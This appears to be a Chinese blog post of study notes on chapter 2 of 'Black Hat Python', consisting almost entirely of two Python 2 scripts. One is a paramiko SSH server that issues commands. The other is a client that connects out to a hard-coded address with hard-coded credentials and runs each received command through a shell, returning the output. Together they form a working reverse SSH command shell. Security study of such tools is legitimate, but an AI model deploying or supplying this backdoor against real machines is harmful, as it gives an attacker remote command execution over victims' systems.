Python黑帽子学习笔记-----第二章_paramiko administratively prohibited-优快云博客

本文链接：https://blog.youkuaiyun.com/hugo2052/article/details/78237421

这篇博客主要展示了如何使用Python的paramiko库创建一个模拟SSH服务器，并实现远程命令执行。通过创建Server类并定义相关方法进行权限验证，然后监听并接受客户端连接，接收并执行用户输入的命令。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

# -*- coding:utf-8 -*-
import socket
import paramiko
import threading
import sys
import time

import logging
logging.basicConfig()

#paramiko.OPEN_SUCCEEDED
# 使用Patamiko示例文件的密钥
host_key = paramiko.RSAKey(filename='test_rsa.key')
#host_key = paramiko.RSAKey(filename='/root/.ssh/id_rsa')
class Server(paramiko.ServerInterface):
    def __init__(self):
        self.event = threading.Event()
    def check_channel_request(self,kind,chanid):
        if kind == 'session':
            return paramiko.OPEN_SUCCEEDED
        #return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
    def check_auth_password(self,username,password):
        if(username == 'hugo') and (password == '123'):
            return paramiko.AUTH_SUCCESSFUL
        return paramiko.AUTH_FAILED
server = sys.argv[1]  # ip
ssh_port = int(sys.argv[2]) # port

try:
    sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
    sock.bind((server,ssh_port))
    sock.listen(100)
    print('[+] Listening for connection ...')
    client,addr = sock.accept()
except Exception,e:
    print('[-] Listen failed: ' + str(e))
    sys.exit(1)
print('[+] Got a connection!')

try:
    bhSession = paramiko.Transport(client)
    bhSession.add_server_key(host_key)
    server = Server()
    try:
        bhSession.start_server(server=server)
    except paramiko.SSHException,x:
        print('[-]SSH negotiation failed.')
    chan = bhSession.accept(20)
    print('[+] Authenticated!')
    #time.sleep(0.01)
    #print(chan.recv[1024])
    #chan.send('Welcome to bh_ssh')
    while True:
        try:
            command = raw_input("Enter command:").strip('\n')
            if command != 'exit':
                chan.send(command)
                print(chan.recv(1024) + '\n')
            else:
                chan.send('exit')
                print('exiting')
                bhSession.close()
                raise Exception('exit')
        except KeyboardInterrupt:
            bhSession.close()
except Exception,e:
    print('[-] Caught exeption: ' + str(e))
    try:
        bhSession.close()
        #bhSession.close()
    except:
        pass
    sys.exit(1)

# -*- coding:utf-8 -*-
# bh_sshRcmd.py
import threading
import paramiko
import subprocess
import time

def ssh_command(ip, user, passwd,command, port = 8884):
    client = paramiko.SSHClient()
    # client.load_host_keys('/home/root/.ssh/known_hosts') #支持用密钥认证代替密码验证,实际环境推荐使用密钥认证
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())    #设置自动添加和保存目标ssh服务器的ssh密钥
    client.connect(ip, port, username=user, password=passwd)  #连接
    ssh_session = client.get_transport().open_session() #打开会话
    if ssh_session.active:
        #command = ssh_session.recv(1024)
        ssh_session.send(command)   #执行命令
        print ssh_session.recv(1024)    #返回命令执行结果(1024个字符)
        while True:
            command = ssh_session.recv(1024)    #从ssh服务器获取命令
            try:
                cmd_output = subprocess.check_output(command, shell=True)
                ssh_session.send(str(cmd_output))
            except Exception, e:
                ssh_session.send(str(e))
        client.close()
    return

port = int(raw_input("Please enter the port:"))
ssh_command('192.168.64.128','hugo','123','ClinetConnected',port)